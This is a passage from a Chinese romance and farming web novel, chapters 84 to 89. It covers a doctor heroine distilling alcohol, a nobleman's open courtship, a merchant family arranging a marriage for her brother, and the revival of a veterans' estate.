《随身空间:神医娘子逃荒种田忙》 第八十四章 藏不住了 林芷柔站在蒸馏器旁,专注地将酒液倒入坛中。她纤细的手指轻轻擦过坛口,动作娴熟而优雅。窗外的月光透过窗棂洒落进来,在她白皙的脸庞上镀上一层柔和的光晕。 空气中弥漫着淡淡的酒香,混合着药材的清冽气息,让整个房间都笼罩在一种独特的氛围中。 楚星河站在一旁,目光不由自主地追随着她的每一个动作。他注意到她眉头微蹙,似乎在思考着什么。那专注的神情,让他想起第一次见她时的场景。那时的她,也是这般认真地为他把脉。 “柔柔,”楚星河轻声唤道,“你累了吗?” 林芷柔头也不抬,继续专注于手中的工作:“世子若是闲着无事,不如去外面走走。这里不需要你帮忙。” 楚星河却不为所动,反而往前迈了一步:“我就想在这看着你。” 林文昂注意到世子的眼神,心中一紧。他悄悄瞥了眼父亲,见林山神色如常,才稍稍放松。但世子对姐姐的关注,还是让他感到不安。 屋内的气氛微妙地凝滞着。林芷柔将最后一点酒液倒入坛中,轻轻擦拭着坛口的酒渍。她的动作依旧从容,仿佛没有察觉到身后灼热的目光。 “大姐,”林文昂试图打破这份沉默,“这酒明天就能给夫子送去了吗?” 林芷柔放下手中的布巾,转身看向弟弟:“还需再蒸馏一遍。这酒用作药引子,火候要掌握得更精准些。” “原来如此,”楚星河插话道,“柔柔连这等细节都考虑得如此周全,真是令人佩服。” 林芷柔瞥了他一眼,语气淡淡的:“世子过奖了。这不过是基本常识罢了。” “在我眼里,你做什么都是最好的。”楚星河的声音里带着几分宠溺,“就像你的医术一样,总是能给人惊喜。” 这话说得太过直白,林山和林文昂的脸色都变了。林文昂连忙上前,拉住姐姐的手:“姐,你忙了一天了,不如先去休息吧?这儿有我和我爹就够了。” 林芷柔感受到弟弟手心的温度,知道他是在担心自己。她轻轻拍了拍弟弟的手,示意自己没事。 “世子,”她转向楚星河,语气冷了几分,“时候不早了,你该回去了。让你的人把酒带走吧。” 林山听不下去了,严肃道:“柔柔,不得无礼!” “林叔父不必介怀,”楚星河连忙打圆场,“我与柔柔一向如此相处。她说什么我都不会在意的。” 林文昂听得一头雾水。他看看姐姐,又看看世子,心中疑惑更甚。世子爷这话啥意思?什么时候和大姐熟络到这种地步了? 林芷柔见状,赶紧解释:“爹,在他眼里,我们俩可是兄弟。我说什么他都不会计较的。” 楚星河闻言,心中暗叹。月光下,他的眼神变得深邃起来。兄弟?他何尝想做什么兄弟?他分明想与她成为夫妻。想到这,他忍不住脱口而出:“是啊,我这辈子就认定柔柔一人了。” 此言一出,满室皆惊。 林山和林文昂面面相觑,不知该如何应对。林芷柔则是一脸无奈,暗骂这个不知天高地厚的世子爷。 屋内的气氛瞬间凝固。月光依旧温柔地洒落,却照不散这份尴尬。 楚星河见状,知道自己说得太过了。他轻咳一声,唤来随从将酒带走,然后向林家人告辞。 林芷柔将他送到门口,月光下,她的表情显得格外清冷:“你疯了吗?说这种话不怕吓着我爹?” “我只是说出心里话罢了,”楚星河凝视着她的眼睛,“柔柔,你要相信我。” 林芷柔摇摇头,无奈地道:“你先把病养好再说吧。现在说这些都是空话。” “我一定会好起来的,”楚星河正色道,“到那时,我会让全世界都知道,你是我楚星河此生唯一的妻子。” 林芷柔被他的认真吓了一跳,月光下,她的脸颊微微泛红。最后,她只是轻轻推了他一下:“快回去吧,别耽误休息。” 楚星河依依不舍地离开了。直到他的身影消失在夜色中,林芷柔才转身回屋。 一进门,她就对上了父亲和弟弟探询的目光。空气中还残留着淡淡的酒香,却掩盖不住那份凝重。 她叹了口气,知道躲不过去了。 “爹,文昂,你们有什么想问的就问吧。” 林山踱步到窗前,看着外面的月色,沉吟片刻才开口:“柔柔,世子爷对你的心思,爹看得很清楚。可是,你要想清楚啊。我们家攀不上云陵伯府的门第,就算嫁过去,也不可能做正室。” “全是弟弟们不争气,”林文昂握紧拳头,懊恼道,“不能成为姐姐的依靠。要不然,也不用怕什么世子爷。” 林芷柔听了,心中一暖。她走到弟弟身边,轻轻拍了拍他的肩膀:“傻弟弟,姐姐等着你成为顶天立地的男子汉呢。” 林山转过身,脸上的担忧更深了:“柔柔,你可要想清楚啊。就算真的嫁进伯府,做个侍妾,日子也不会好过。那云陵伯夫人,怎么可能善待你?” 林芷柔闻言,不禁莞尔:“爹,您也太小看女儿了。什么侍妾不侍妾的,我根本就没想过要嫁给楚星河。” “啊?”林山和林文昂都愣住了。 “我若要嫁,必是正妻之位,”林芷柔正色道,“而且,我的夫君还不能三妻四妾,必须一心一意对我。若敢背叛,我定要他好看。” 林文昂听罢,连连点头:“大姐威武!就该这样,管他是谁,都不能委屈了自己。” “我本来就不想嫁人,”林芷柔走到蒸馏器旁,开始收拾器具,“他自己偏要撞上来,那我不得不提些苛刻条件了。” 林山看着女儿的背影,既欣慰又担忧。欣慰的是女儿有主见,不会被世子的地位迷惑;担忧的是,若真与世子有了牵扯,恐怕日后会惹来麻烦。 他正欲再劝,却见林芷柔已经开始忙碌起来。 “爹,文昂,别想那么多了。我心里有数,你们放心就是。”林芷柔头也不回地说道。 父子俩对视一眼,无奈地摇摇头。既然女儿已经这么说了,他们也只能相信她的判断了。 第八十五章 父子夜谈 林家小院渐渐安静下来。林芷柔站在窗前,看着院中的月光。想起今天发生的一切,她不禁莞尔。 那个傻世子,真以为随随便便说几句甜言蜜语,就能把她骗到手吗? 她轻轻摇头,目光落在远处的夜空。 “楚星河啊楚星河,”她轻声呢喃,“你要是真有那个本事,就拿出真本事来打动我吧。” 林芷柔想着楚星河,嘴角不自觉地微微上扬。世子爷虽然看起来冷冰冰的,但骨子里却是个温柔的人。她抬头望着满天繁星,思绪不由得飘远。 “小姐,”丫鬟细声细气地唤道,“夜深了,您该回房了。” 林芷柔轻轻摇了摇头,想起方才萤萤传来的消息,那只被她养在锦囊里的小狼崽已经长大了不少。每日饮着仙露泉,如今已有五六岁孩童的灵智。 “萤萤,把小七放出来我看看。”她轻声唤道。 锦囊里一道光芒闪过,一只通体漆黑的狼出现在院中。月光下,它的皮毛泛着幽幽的光泽,琥珀色的眼睛透着灵动的神采。它摇着尾巴,亲昵地蹭了蹭林芷柔的手。 “长得真快。”林芷柔抚摸着狼的皮毛,感受着掌下温热的触感。小狼的体型已经比普通成年狼还要大上一圈,肌肉结实,四肢有力。“这次跟着世子爷出征,正好让你历练历练。” 小狼歪着头,似乎听懂了她的话,发出一声轻微的呜咽。它用湿润的鼻子轻轻蹭着林芷柔的手心,仿佛在表达自己的担忧。 “放心,有我在呢。”她轻声安抚道,手指轻轻梳理着小狼脖颈处的毛发。 玩儿了会,林芷柔让萤萤将小狼收回锦囊,转身回了房间。丫鬟连忙跟上,为她掌着灯。 “小姐,您说世子爷真的会带着小七一起出征吗?”丫鬟一边为林芷柔梳头,一边小心翼翼地问道。 林芷柔透过铜镜看着丫鬟担忧的神色,笑道:“放心吧,世子爷答应过的事,从不食言。” 与此同时,楚星河已经回到了太守府。府中灯火通明,下人们来来往往,显然还未就寝。 他手中抱着一个十斤装的酒坛,步履轻快地走向父亲的书房。推开门,就见楚云浪正在灯下看兵书,案头的烛火映照着他略显疲惫的面容。 “父亲。” 楚云浪闻声抬头,目光立即被儿子手中的酒坛吸引。浓郁的酒香已经从未封严实的坛口溢出,勾得他心痒难耐。 “这是......” “柔柔新酿的酒。”楚星河将酒坛放在桌上,嘴角微微上扬,“她本想制作消毒用的酒精,没想到意外酿出了这么一坛好酒。” 楚云浪迫不及待地打开酒坛,香气扑面而来。他深吸一口气,只觉得这酒香醇厚绵长,比他平日里喝的任何酒都要香醇。他连忙倒了一杯,一饮而尽,顿时瞪大了眼睛。 “好酒!”他赞叹道,眼中放光,“入口醇厚,回味悠长。这丫头,真是深藏不露啊。” 楚星河看着父亲陶醉的模样,心中暗笑。他给父亲又倒了一杯,这才说起正事:“父亲,我打算和柔柔的弟弟合作,在咱们城外的庄子上酿酒。” “哦?”楚云浪放下酒杯,目光变得锐利起来,“林姑娘答应了?” “自然。”楚星河点头,语气中带着几分自信,“她那个大弟弟很会做生意,有她在身后撑腰,庄子上的人也能有个营生。” 楚云浪沉吟片刻,又喝了一杯酒。酒香在口中回荡,让他的心情也跟着愉悦起来。他放下酒杯,正色道:“你的病,她怎么说?” “差不多半年后就能恢复。” “当真?”楚云浪眼睛一亮,身子不自觉地前倾。 楚星河点头。其实按照柔柔的说法,三个月就够了。但他不敢说得太满,万一有什么意外,也好有个缓冲的时间。他看着父亲期待的眼神,心中暗暗叹息。这些年来,自己的病一直是父亲心头最大的担忧。 “好!好啊!”楚云浪连连点头,脸上的笑意怎么也掩饰不住,“等你的病一好,为父就让你娘去提亲。这么好的姑娘,可不能让她跑了。” 楚星河抿了抿唇,低声说道:“柔柔说过,她想要人一心一意对她。” “那是自然。”楚云浪笑道,又给自己倒了一杯酒,“你们年轻人的事,为父不插手。只要能把林姑娘娶进门,我们云陵伯府必定更上一层楼。” 楚星河却皱起了眉头,语气中有着忧虑:“父亲,儿子倒是担心这连珠弓的事情。” “怎么了?”楚云浪的笑容瞬间凝固。 “楚王......”楚星河将那日在山庄发现的事情娓娓道来,“他手中握着银矿。” 楚云浪脸色一变,手中的酒杯重重放在桌上:“你确定?” “亲眼所见。”楚星河的声音低沉而凝重,“那日在山庄,我看到了他们运送银矿的马车。” 父子二人对视一眼,都从对方眼中看到了担忧。书房内的烛火摇曳,在墙上投下晃动的影子。 “这事不简单。”楚云浪站起身,在书房内来回踱步,“楚王手中有银矿,就意味着他有源源不断的银子可用。若是让他得到了连珠弓的制造之法......” 楚星河接过话头:“那就等于给了他一把利剑。” “林姑娘的消息来源当真可靠?”他突然停下脚步,转身看向坐在案前的儿子,声音里带着一丝不易察觉的紧张。 楚星河正执笔写着什么,听到父亲的问话,他放下毛笔,抬手端起茶盏。热气氤氲中,他的神色依旧淡然自若:“孩儿已派人火速将消息送往帝都,太子自会查证。” “金泰钱庄竟是楚王的产业......”楚云浪走到窗前,望着院中那株老梅,轻叹一声,“这背后的意味,怕是不简单。”窗外的寒风吹动梅枝,发出簌簌的响声。 楚云浪放下茶盏,瓷器与木案相碰发出清脆的声响,“咱们远在云州,只盼着云陵伯府能置身事外。” “置身事外?”楚星河冷笑一声,起身走到父亲身边,“天下大势,牵一发而动全身。父亲以为,这天下真能太平?” 楚云浪沉默了。书房内一时只剩下烛火摇曳的声音。 第八十六章 林大夫是女子 案上的公文散落一地,都是各地送来的奏折。其中不乏提到楚王在各地暗中收购矿产、置办产业的消息。虽说太子位份已定,可楚王手握银矿,又与北蛮狄族暗通款曲,这盘棋怕是要变得更加复杂了。 “罢了,”楚云浪摆摆手,转身走向书案,“守好云州才是正事。”说着伸手去够放在案角的酒壶。 楚星河眼疾手快地拦下父亲的手:“父亲,这酒烈得很。” “去去去,”楚云浪老脸一红,甩开儿子的手,“为父还用得着你操心?” 楚星河看着父亲的背影,嘴角勾起一抹无奈的笑意。他整理好散落的公文,向父亲告退。 走出书房时,一阵冷风吹来,楚星河下意识地裹紧了外衫。远处传来更夫打更的声音,原来已是三更天了。 与此同时,宁府内院。 宁老太太的房中,灯火依旧明亮。她坐在太师椅上,手中捧着一盏热茶,目光若有所思地望着对面的宁家大爷。 “老大,你觉得林大夫这人如何?”宁老太太开门见山,语气里带着试探。 “那是个人才!”宁家大爷眼前一亮,放下手中的账本,“您是不知道,宋家那档子事传得沸沸扬扬,都说是得罪了林大夫才遭报应。这样的神医,咱们宁家能结交上,那是几辈子修来的福分。” 宁老太太轻轻放下茶盏,斟酌着说道:“我倒是有个主意......”她意味深长地看着儿子,“不如把涵凤许配给他?” 宁家大爷闻言一惊,茶水险些洒出来。他放下茶盏,面色一变:“娘,这恐怕不妥。林大夫这样的人才,早晚要去帝都做太医的。咱们这样的商户人家......” “你这孩子,怎么尽往坏处想?”宁老太太不满地打断他,声音里带着几分恨铁不成钢,“林大夫是个医者,最重要的是医德。再说了,他也是从穷苦人家出身,哪会嫌弃咱们?” “可是......” “没什么可是的,”宁老太太摆摆手,“先问问涵凤的意思。” 很快,宁涵凤被丫鬟唤来。她着一身淡青色的衣裙,发间只簪了一支玉簪,显得清雅素净。 “凤儿,你觉得林大夫如何?”宁老太太笑眯眯地问,目光慈爱地看着孙女。 宁涵凤心里一动,立刻明白了祖母的用意。她不动声色地整理了一下衣袖,声音温婉:“林大夫医术高明,为人也好。” “那要是......” “万万不可。”宁涵凤温婉一笑,却斩钉截铁地回绝。 宁老太太和宁家大爷面面相觑,显然没料到孙女会如此干脆地拒绝。 “为何?”宁老太太追问道。 宁涵凤轻轻抿了一口茶,茶香在唇齿间萦绕,却难掩她内心的忐忑。窗外的雨丝绵绵,打在庭院里的芭蕉叶上,发出细碎的响声。 她想说的话在舌尖转了几圈,最终还是化作一声轻叹。手指无意识地摩挲着茶盏边缘,目光游移不定。 “林大夫的事情,其实......”她斟酌着用词,声音轻得几乎要被雨声淹没。 宁老太太放下手中的茶盏,眉头微蹙:“这孩子怎么吞吞吐吐的?林大夫莫非有什么难言之隐?”她锐利的目光落在孙女脸上,仿佛要看穿她的心思。 “难道是有什么隐疾?”楚大爷也跟着担忧起来,他下意识地坐直了身子,“若真是如此,那可就......” 宁涵凤连忙摇了摇头,发髻上的珠钗轻轻晃动:“不是隐疾,只是......”她攥紧了手中的帕子,指节泛白。 雨声渐大,檐下的水珠连成了线。宁涵凤深吸一口气,抬眼看了看祖母和父亲严肃的面容,终于下定决心:“其实林大夫是位女子。” “什么?”宁大爷手中的茶盏猛地一抖,茶水溅在衣襟上也浑然不觉。他瞪大眼睛,一时间竟说不出话来。 宁老太太倒是稳得住,讶异地问道:“你这话当真?可有确凿证据?” “千真万确。”宁涵凤正色道,她稍稍前倾身子,声音压低,“孙女观察许久,林大夫面容清秀,身形纤细,且无喉结。更重要的是,她行医时从不与男子过分亲近,遇到需要把脉的场合,总是隔着一方帕子。这些种种,无不表明她是女扮男装。” 宁老太太陷入沉思,:“难怪她医术高明,却从不留宿病人家中。前些日子给你祖父看病,也是来去匆匆......” “这么说来,她救了咱们宁家两条人命,更显难得。”宁大爷抹了把额头的汗,感慨道,“一个女子,在这乱世中独自行医,想必也是被逼无奈。” 屋内一时陷入沉默,只有雨打芭蕉的声音清晰可闻。 宁涵凤见二人接受良好,又道:“听闻云陵伯世子也在她那里就诊。”她的目光落在窗外的雨帘上,“这几日,世子府的马车时常停在她的医馆外。” “哦?”宁老太太眼睛一亮,放在桌上的手微微一顿,“若是治好了世子的病,她怕是要入云陵伯府了。” “正是。”宁涵凤低声道,话音一转,她状似无意地说道:“不过孙女倒是觉得,林大夫的弟弟更值得关注。” 宁大爷一愣,茶盏在手中转了一圈:“你是说......” “那孩子虽年纪不大,却已经做起了生意,而且很有头脑。”宁涵凤说着,脸上泛起红晕,“前几日我去医馆,正巧看见他在与商贾议事。那般年纪,却已经能说会道,进退有度。” 宁老太太何等精明,立刻听出了孙女的心思。她放下茶盏,目光如炬:“你该不会是......” “祖母,孙女已经十八了。”宁涵凤咬了咬唇,“林家虽然清贫,但人品端正。那林小公子虽然年轻,却已经展现出非凡的才智,将来必有大作为。” “胡闹!”宁老太太拍案而起,茶盏被震得跳动,“你可是宁家嫡女,怎能嫁给一个逃荒来的......”她的声音里带着怒意,却又硬生生压了下去。 “母亲。”宁大爷适时开口,声音里带着几分试探,“不如让清儿嫁过去如何?” 宁老太太眉头紧锁,略微沉吟了一下:“去,让人把清儿叫来。” 第八十七章 上门说亲 不多时,宁涵清和她母亲大姨娘一同到了。宁涵清穿着淡粉色的襦裙,发髻上的珠花随着步伐轻轻晃动。 当宁大爷说明来意时,大姨娘当即变了脸色:“老爷,这怎么使得?我们清儿可是......”她的声音里带着几分急切。 宁涵清跪在父亲面前,泪水浸湿了绣着海棠的手帕。她双手紧握,指节因用力而发白,声音带着哭腔:“父亲,清儿虽是庶出,也不该如此作践啊!” 檀木桌案后,宁家大爷眉头紧锁。他端起茶盏,茶水已经凉透,却仍是一口一口地啜饮,似乎想借此平复内心的烦躁。 “父亲心里清楚。”宁涵清抬起泪眼,“既无根基,又无钱财,不过是个开医馆的。女儿过去,岂不是要受苦?” 老夫人坐在太师椅上,未发一言。她斜眼瞥向儿子,嘴角微微上扬,眼中闪过一丝玩味。这个孙女向来娇纵,今日这般哭闹倒也在意料之中。 一旁的宁涵凤神色平静,仿佛这一切与她无关。她的目光透过雕花窗棂,落在院中那株傲雪的梅花上。花瓣上还凝着晚霜,在烛光下泛着淡淡的光晕。她的思绪却不由自主地飘向了那个在街头卖小食的少年。 记得那日从医馆回来,她曾在街角遇见过他。少年虽在贩卖小食,但举手投足间却透着一股书卷气。他调制的糖水,加入了几味药材,既解暑又养生,引得不少人驻足购买。 “老夫人开恩啊!”大姨娘也跪了下来,膝行几步,“清儿年纪尚小,何必急于议亲?林家门第实在配不上我们宁家。” 宁涵清见状,立刻爬到老夫人跟前,泪眼婆娑:“祖母最疼清儿了,怎忍心让清儿去受苦?林大夫再有本事,不过是个大夫罢了。至于她弟弟,整日在街头摆摊,这样的人家,清儿实在不愿意。” 这话一出,宁涵凤眸光一冷。她转过身,目光如刀般锐利:“林大夫医术高明,救了我们宁家三条人命。若非她妙手回春,祖母、我和姑姑怕是早已不在人世。清妹妹这般说话,是否太过了?” 堂内一时寂静,连烛火都似乎停止了跳动。 “不如大姐自己嫁过去。”宁涵清擦了擦眼泪,语气中带着几分刻薄,“林大夫救了大姐的命,若要报恩,该是大姐去才对。” “放肆!”老夫人重重拍了下桌案,茶盏震得跳了起来,“林大夫对宁家恩重如山,不管是谁嫁过去都是为宁家报恩。你大姐年岁比林家公子大些,否则老身早就做主了。你若不愿意,现在就可以滚出去,莫要在老身面前哭哭啼啼。” 大姨娘和宁涵清吓得脸色发白,灰溜溜地退了出去。临走时,宁涵清还不忘回头看了眼父亲,却见父亲一脸铁青,显然对她今日的表现极为不满。 宁家大爷坐在那里,手中的茶盏已经凉透。这还是头一回被妾氏和女儿这般驳了面子,心中难免有些不快。但想到林大夫的医术,又不得不承认母亲说得有理。 “凤儿。”老夫人放下佛珠,看向孙女,“你觉得林家将来如何?” 宁涵凤微微一笑,:“孙女以为,能教出神医的人家,绝非寻常。更何况,那位林公子虽在街头卖食,却能想出独特的配方,这般聪慧之人,日后定有一番作为。” 老夫人眼前一亮,捻着佛珠的手停了下来:“你说得对,,前程不可限量。” “父亲。”宁涵凤转向宁家大爷,声音柔和却坚定,“若是要与林家结亲,还请说明女儿年岁已十八,以免日后生出误会。” 宁家大爷点头:“为父明白。” 仁心医馆,林山正在整理药材,柳雅芝则在清点账目。突然,一阵急促的脚步声传来。 “林大夫,林老爷。”媒人笑眯眯地走进来,“宁家托我来说一门亲事。” 林山和柳雅芝对视一眼,都从对方眼中看到了惊讶。 “宁家大小姐对令郎甚是倾心。”媒人坐下来,接过柳雅芝递来的茶,“虽说大小姐年长令郎两岁,但端庄贤淑,知书达理。宁家说了,不图令郎家资,只看中令郎品性。” 林山放下手中的药材,眉头微皱:“这事来得突然。” “我们家文昂才十六岁。”柳雅芝迟疑道,“这事还得问问他的意思。况且,宁家门第高贵,我们这样的人家......” “宁家说了,不在意这些。”媒人打断道,“林大夫的医术,在云州可是数一数二的。宁家老太太说了,有这样的医术传承,比什么都强。” “这......”林山和柳雅芝面面相觑。 “宁家也说不急。”媒人起身告辞,“。” 待媒人走后,医馆内陷入沉默。柳雅芝收拾着账本,欲言又止。林山则站在药柜前,手指无意识地敲打着柜面。 这门亲事来得突然,却又似乎在情理之中。毕竟柔柔曾救过宁家大小姐的性命,宁家对他们一直心存感激。只是,他们的儿子,会同意这门亲事吗? 林芷柔将媒人送出门外,脸上的笑意渐渐褪去。院子里的秋菊开得正艳,几片落叶打着旋儿飘落在石板路上,发出细微的沙沙声。 她站在门槛边,望着远处的天际发怔。秋日的阳光透过树梢洒下斑驳的光影,落在她微蹙的眉间。这些日子以来,媒人登门的次数越来越多,每一次都带来不同的说辞,却都让她心中泛起阵阵涟漪。 “姐。”门外传来熟悉的声音,打断了她的思绪。 林文昂大步跨进院子,脸上带着些许疲惫,衣襟上还沾着些许尘土。他看了看姐姐欲言又止的表情,轻声道:“又是来说亲的?” 林芷柔点点头,转身走向厨房:“你先坐,我去热些茶。” 灶台上的水壶冒着热气,林芷柔一边添柴一边问道:“今日去楚家庄可还顺利?” “比想象中复杂。”林文昂坐在门槛上,望着院子里的秋菊出神,“那庄子上住了三百多人。” 水壶里的水突然沸腾,发出尖锐的响声。林芷柔的手微微一颤,险些打翻茶盏。 “三百多人?”她回过头,不由有些意外“怎会这么多?” “都是些老兵和他们的家眷。”林文昂接过姐姐递来的茶,轻轻吹了吹,“很多人住在山洼的茅草棚里,日子过得很是清苦。” 第八十八章 楚家庄 林芷柔在弟弟身边坐下,秋风吹起她的发丝,带着几分凉意:“那你打算如何?” “我已经跟伍叔谈过了。”林文昂抿了口茶,“先从酒坊开始,然后再做卤料生意。” 话音未落,院子外传来一阵脚步声。楚九三带着几个庄户模样的妇人走了进来,身后还跟着两个精神抖擞的年轻后生。 “林公子。”楚九三拱手行礼,“这些都是伍叔挑选的人,手脚麻利,做事稳妥。” 林芷柔打量着这群人,目光在每个人脸上停留片刻。这些人虽然衣着朴素,但眼神清亮,举止不卑不亢。 “都进来坐。”她温声道,起身又去添了几盏茶。 林文昂从怀中取出一个布包,打开后露出几块卤好的肉:“这是我们店里的手艺,大家先尝尝。” 几个妇人你看看我,我看看你,最后还是年纪稍长的那位壮着胆子先尝了一块。 “好吃!”她眼睛一亮,“这味道,比城里酒楼的还要好!” 其他人也纷纷品尝,脸上都露出惊喜的神色。 “这些都是我姐姐的手艺。”林文昂笑道,“以后你们就跟着她学。” 林芷柔接过话头:“卤料的配方不难,关键在火候和时间的把握。大家若是用心,三五日就能学会。” “嫂子放心。”一个年轻后生拍着胸脯保证,“我们一定好好学。” “对了。”林文昂从袖中掏出一个小酒坛,“这是我姐自己酿的酒,你们也尝尝。” 浓郁的酒香很快弥漫开来,几个后生抿了一口,眼睛顿时亮了。 “好酒!”他们异口同声地赞叹。 楚九三在一旁笑道:“这可是云州独一份的好酒。以后酒坊开起来,就靠你们了。” 众人又聊了许久,直到暮色四合才散去。送走最后一个人,林芷柔望着弟弟疲惫却满是期待的脸庞,心中五味杂陈。 “文昂。”她轻声唤道,“你真的想好了吗?” 林文昂转过身,月光下他的眼神格外清明:“姐,我知道你在担心什么。但这些人都是楚家的老部下,忠诚可靠。有他们帮忙,咱们的生意一定能做大。” 林芷柔沉默片刻,最终点点头:“那就试试吧。明日我去准备些调料,后天开始教她们做卤料。” 院子里的秋菊在风中轻轻摇曳。姐弟俩坐在月光下,谁都没有说话,却都明白,从明天开始,他们的日子将会有所不同。 第二天一早,林文昂就带着木匠去了楚家庄,开始修整酒坊。林芷柔则在家里准备调料,不时指点来学艺的妇人。 伍大年拄着拐杖,看着庄子上突然热闹起来的景象,浑浊的独眼中泛起湿意。多少年了,庄子终于又有了生机。 楚九三站在一旁,望着忙碌的人群,心中暗暗点头。这个林家小子,果然没让世子爷失望。 傍晚时,林文昂拖着疲惫的身子回到家中。院子里飘来阵阵香气,林芷柔正在教几个妇人调配卤料。 “姐。”他走过去,“今天怎么样?” 林芷柔擦了擦手:“都还不错,大家学得很快。”她顿了顿,“你那边呢?” “酒坊的活计已经开始了。”林文昂接过姐姐递来的茶,“再有半月,就能开始酿酒。” 说着,他不由回忆起昨天第一次到楚家庄看到的情景。 残破的房屋。砖墙斑驳,木门歪斜,几处屋顶塌陷,杂草丛生。这片曾经繁华的庄子,如今只剩下一片萧条破败。 微风拂过,带来一阵尘土,他下意识地眯了眯眼。这些伤残的人,都是世子爷交给他的,每一个都带着不堪的过往。有的是战场上失去手脚的将士,有的是家破人亡的流民,还有的是生活所迫的苦命人。 伍大年拄着拐杖,一瘸一拐地走到他身边:“林公子,这庄子......” 话未说完,就被林文昂打断:“伍叔,别叫我公子。”他转过身,目光温和,“叫我文昂,或者大郎都行。” 伍大年愣了一下,有些不解:“这......” “从今天起,我们就是一家人了。”林文昂环视四周聚集的众人,声音坚定而温暖,“既然咱们是一家人,就不必如此客套。” 人群中响起细碎的议论声。这些饱经沧桑的面孔上,有惊讶,有怀疑,更多的是难以置信。 “大郎,话是这么说......”伍大年犹豫着开口,粗糙的手指无意识地摩挲着拐杖,“但我们这些废人......” “伍叔!”林文昂厉声打断,随即又放缓语气,“别这么说自己。您看这个。” 他从怀中取出一个青花瓷酒坛,小心翼翼地打开封口。顿时,一股清冽的酒香飘散开来。 伍大年接过酒坛,手微微颤抖。他曾是军中有名的酿酒师,对酒最是了解。轻轻抿了一口,浓郁醇厚的酒香在口中绽放,回味悠长。 “好酒!”他忍不住赞叹,“这酒......”说着,眼睛突然亮了起来,似乎想到了什么。 林文昂微笑着点头:“没错,我打算在庄子上开设酒坊。这酒方子,就是我们的立身之本。” “可是......”旁边一个独臂汉子迟疑道,“我们这些人......” “酿酒不只需要双手,”林文昂看向他,“还需要经验,需要眼力,需要心思。每个人都能找到自己的位置。” 说着,他又从怀中掏出一个油纸包,打开后是几块卤味。香气四溢,引得众人不住咽口水。 “除了酒坊,我还要开设卤味作坊。”他继续道,“庄子这么大,能做的事情很多。总之,要让每个人都能吃饱穿暖。” 想到这些,林文昂不由得看向林芷柔。 “姐。”他轻声唤道。 林芷柔抬头,看到弟弟疲惫的神色,放下手中的活计:“今天累坏了吧?” “还好。”林文昂在姐姐对面坐下,“就是有些事想请教姐姐。” “说吧。” “庄子上的人太多,光靠酒坊和卤味怕是不够。”他揉了揉太阳穴,“我想再开些别的营生。” 林芷柔沉吟片刻:“你先说说庄子上的人员情况?” “这个......”林文昂一时语塞。 “连人员情况都不清楚,怎么做规划?”林芷柔摇摇头,“明天先去统计一下。要分类统计,看看有多少能干活的,多少需要照顾的。” 她起身取来纸笔:“还有,庄子上的房子也要重新规划。两进的收费高些,一进的收费低些,这样才公平。” 林文昂连连点头,认真记下。 第八十九章 酒精成了 “对了,”林芷柔突然想起什么,“你打算怎么处理那些孤寡老人?” “这......”林文昂皱眉思索,“让他们帮忙照看孩子?” “不错,”林芷柔赞许地点头,“老人有经验,又闲不住。让他们照看孩子,既解决了问题,又让他们觉得自己有用。” 姐弟俩又商议了许多细节。直到油灯快要燃尽,林芷柔才道:“时候不早了,你该休息了。” “姐,”林文昂欲言又止,“你说的那门独门生意......” “急什么,”林芷柔笑着打断,“先把手头的事做好。等时机成熟,自然会教你。” 第二天一早,林文昂就带着伍大年开始清点人数。 “一共三百二十七人,”伍大年翻看着记录,“其中能干重活的一百零八人,只能干轻活的一百五十三人,需要照顾的六十六人。” 林文昂点点头:“先从酒坊开始。伍叔,您看哪些人适合学酿酒?” 伍大年仔细看着名单:“这个王三,虽然少条腿,但心思细密。还有李四,手脚不便,但鼻子灵,适合掌握火候......” 一个上午,他们就初步确定了二十个人进酒坊。下午,又挑选了三十人进卤味作坊。 “剩下的人......”林文昂正发愁,突然看到几个老人在教孩子们认字。 他眼前一亮:“伍叔,您看那边。” 伍大年顺着他的目光看去,也露出笑容:“三郎是想......” “开个私塾如何?”林文昂兴奋道,“让那些识字的教不识字的,大家互帮互助。” 就这样,庄子上渐渐热闹起来。酒坊里飘着酒香,卤味作坊飘着肉香,私塾里传来朗朗读书声。 那些曾经自暴自弃的人,眼中重新燃起了希望。他们知道,从今往后,自己不再是无用之人,而是能够创造价值的一份子。 这片曾经荒芜的庄子,正在成为他们新的家园。 此时,林芷柔的小院里却热闹非凡。炉火映红了半边天,烟气袅袅升起,带着淡淡的酒香。楚星河早早赶来,一双眼睛紧盯着灶台上的蒸馏器,生怕错过了酒精诞生的瞬间。他时不时伸手摸摸器皿,又被烫得缩回手指。 “别动手动脚的,”林芷柔拍开他的手,“这么烫,想把自己烫伤吗?” 楚星河吃痛地甩了甩手,却依旧眼巴巴地盯着锅里,“柔柔,这真能成吗?我看着怎么跟平常煮酒不一样。” 林芷柔轻笑一声,将一缕散落的发丝别到耳后,“放心吧,我可是把握十足。这可不是普通的煮酒,是要提取酒精。”她一边说着,一边调整着火候。 楚云楚雨站在一旁,看着那些香醇美酒被倒进锅里重新蒸馏,面露难色。楚云忍不住开口:“小姐,这么好的酒,就这么糟蹋了?” “就是就是,”楚雨也跟着附和,“这可是上好的女儿红啊。” 林芷柔没有理会他们的抱怨,专注地观察着蒸馏的过程。屋内弥漫着浓郁的酒香,混合着草药的气息,让人不由得有些醺然。 林山坐在角落的矮凳上,和林文昂低声交谈着。昏黄的灯光下,父子二人的身影被拉得很长。 “文昂啊,”林山捋了捋胡须,“你听说了吗?宁家大小姐又来咱家提亲了。你是怎么想的?” 林文昂正在削木棍,闻言手上的动作一顿,木屑纷纷扬扬落在地上。“爹,我总感觉不太真实?宁家大小姐怎么会看上我?” 柳雅芝端着一盘点心走进来,将点心放在桌上,“你这孩子,怎么说话呢?宁家大小姐今年十八,比你大两岁,正是适婚的年纪。你姐给她看过病,知道她人品不错。”她一边说着,一边用帕子擦拭着手。 林芷柔听到这话,停下手中的活计,转身看向弟弟。灶火的光映在她脸上,显得格外温柔。“文昂,宁家大小姐确实不错。她懂经商之道,为人也大方得体。若是你们成了,日子肯定会过得红红火火。” 林文昂低着头,耳根微红,“姐,我还没考虑那么多呢。再说了,人家宁小姐那么优秀,怎么会看上我这个乡下人。” “怎么就不会了?”楚星河插嘴道,“小舅子,你可别妄自菲薄。你现在跟着你姐学做生意,前途无量。这种好事可遇不可求啊。” 林山和柳雅芝对视一眼,都从对方眼中看到了无奈。这楚星河说话怎么这么肉麻,一口一个小舅子的,也不嫌腻得慌。 就在这时,坛子里开始滴下酒液。清亮的液体一滴一滴落下,在昏暗的光线下泛着莹莹的光。林芷柔眼前一亮,赶紧用筷子蘸了一点尝了尝。 